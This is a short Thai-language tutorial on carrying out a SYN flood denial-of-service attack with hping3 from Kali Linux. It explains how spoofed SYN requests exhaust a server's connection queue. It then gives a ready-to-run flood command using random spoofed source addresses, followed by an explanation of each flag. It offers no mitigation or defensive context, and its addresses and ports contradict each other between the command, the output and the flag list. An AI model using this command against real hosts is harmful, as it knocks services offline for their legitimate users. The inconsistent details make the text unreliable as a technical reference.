How to SYN flood a target host using hping3

บทนำ (Overviews)

“SYN Flood” คือ การโจมตีของ Denial of Services (DoS) วิธีหนึ่ง ที่สามารถทำให้ “Port” ของบริการ “TCP” บน “Server” นั้นไม่สามารถใช้งานได้ ซึ่งหนึ่งในบริการบนโปรโตคอล “TCP” คือบริหารเว็บไซต์ HTTP ทีมีหมายเลข “Port 80” เป็นต้น synflooding

พูดง่าย ๆ ยิงไปที่เว็บเป้าหมายถึงมันไม่ร่วงคนอื่นก็เข้าไม่ได้

แต่ถ้าพูดถึงหลักการ SYN Flood ก็ต้องกล่าวถึงโปรโตคอล “TCP” ในขั้นตอน “Hand shake” ซึ่งมีอยู่ 3 ขั้นตอนเรียกว่า (Three-way hand shake)

  1. “Hacker” ส่ง “SYN request” ปลอม ๆ ไปยังเหยื่อ (Target Server)
  2. เหยื่อ (Target) ได้รับจะส่ง “SYN ACK” ไปยัง “Hacker” และจะจอง “Session” ในคิว คอย “Hacker” ตอบกลับจะสิ้นสุดการทำ (Three-way hand shake)
  3. “Hacker” จะไม่ตอบ “ACK” ไปกับเหยื่อเพราะ “Source-IP” ที่ให้ไปแต่แรกได้ปลอมมา และ “Hacker” ก็ไม่สนใจตอบกลับอยู่แล้ว
  4. และยิ่งส่งมาจองคิวเยอะ ๆ สุดท้ายผู้ใช้คนอื่นเข้ามาขอใช้บริการเว็บไซต์ก็ไม่สามารถขอได้เพราะต้องรอคิว เพราะรอไม่ทันหน้าหน้าเบราเซอร์ก็จะเข้าเว็บไซต์ไม่ได้นั้นเอง

ขั้นตอน (Steps)

  1. เข้าใช้งาน “Kali”
  2. ไปที่ “Menu” (Kali Linux > Information Gathering > Live Host Identification > hping3)
  3. จากนั้นลองใช้คำสั่งดังนี้
    root@kali:~# hping3 -c 100000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.0.27
    HPING 192.168.0.10 (eth0 192.168.0.10): S set, 40 headers + 120 data bytes
    hping in flood mode, no replies will be shown
    
  4. ความหมายพารามิเตอร์แต่ละตัวดังนี้
    • hping3: ชื่อโปรแกรม hping3
    • -c 100000: จำนวน packets ทั้งหมดที่จะส่งไปยังเป้าหมาย
    • -d 120: ขนาดของแต่ละ packet ที่จะส่งไปเป้ามาย
    • -S: จะส่ง SYN packets อย่างเดียว
    • -w 64: ขนาดของ TCP windows
    • -p 139: หมายเลข Port ปลายทางที่จะโจมตี
    • –flood: ส่ง Packets ให้เร็วที่สุดโดยไม่สนใจ response messages
    • –rand-source: สุ่ม ip address ต้นทาง
    • 192.168.0.10: หมายเลข ip adrress ปลายทาง
  5. ตัวอย่างดังต่อไปนี้

ใส่ความเห็น